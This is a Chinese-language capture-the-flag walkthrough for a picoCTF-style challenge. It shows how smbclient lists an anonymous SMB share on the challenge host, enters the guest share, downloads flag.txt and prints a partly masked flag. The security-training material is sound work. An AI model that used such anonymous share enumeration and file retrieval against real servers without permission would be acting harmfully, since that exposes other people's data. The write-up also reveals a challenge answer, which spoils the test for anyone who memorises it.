題目連結

https://learn.cylabacademy.org/library/759

題目解法

  1. 列出共享目錄 (Enumeration)
    首先我們使用 smbclient,嘗試匿名登入查看伺服器上有那些共享資料夾,輸入密碼處直接按 enter。

    smbclient -L <host> -p <port> -U ""
    smbclient -L mysterious-sea.picoctf.net -p 53486 -U ""
    
    • -L: 列出(List)所有的共享資源。
    • -p 53486: 指定題目給的連接埠。
    • -U "": 使用空用戶名(匿名)。
    webshell:~$ smbclient -L mysterious-sea.picoctf.net -p 53486 -U ""
    Password for [WORKGROUP\]:
    
            Sharename       Type      Comment
            ---------       ----      -------
            shares          Disk      Public Share With Guests
            IPC$            IPC       IPC Service (Samba 4.19.5-Ubuntu)
    SMB1 disabled -- no workgroup available
    
  2. 根據上方輸出內容,看到一個名為 shares 的共享資料夾,使用以下指令進入:

    smbclient //mysterious-sea.picoctf.net/shares -p 53486 -U ""
    

    看到 smb: \> 代表成功進入

  3. 搜尋並下載檔案 在 SMB 互動介面中,你可以使用類似 Linux 的指令:

    • 列出檔案: ls
    • 切換目錄: cd
    • 下載檔案: get <檔案名稱>
    webshell:~$ smbclient //mysterious-sea.picoctf.net/shares -p 53486 -U ""
    Password for [WORKGROUP\]:
    Try "help" to get a list of possible commands.
    smb: \> ls
      .                                   D        0  Fri Mar  6 20:25:41 2026
      ..                                  D        0  Fri Mar  6 20:25:41 2026
      dummy.txt                           N     1142  Wed Feb  4 21:22:17 2026
      flag.txt                            N       37  Fri Mar  6 20:25:41 2026
    
                    65536 blocks of size 1024. 58696 blocks available
    smb: \> get flag.txt
    getting file \flag.txt of size 37 as flag.txt (12.0 KiloBytes/sec) (average 12.0 KiloBytes/sec)
    
  4. 在本地使用 cat 查看 flag.txt

    webshell:~$ cat flag.txt 
    picoCTF{5mb---------------------15b}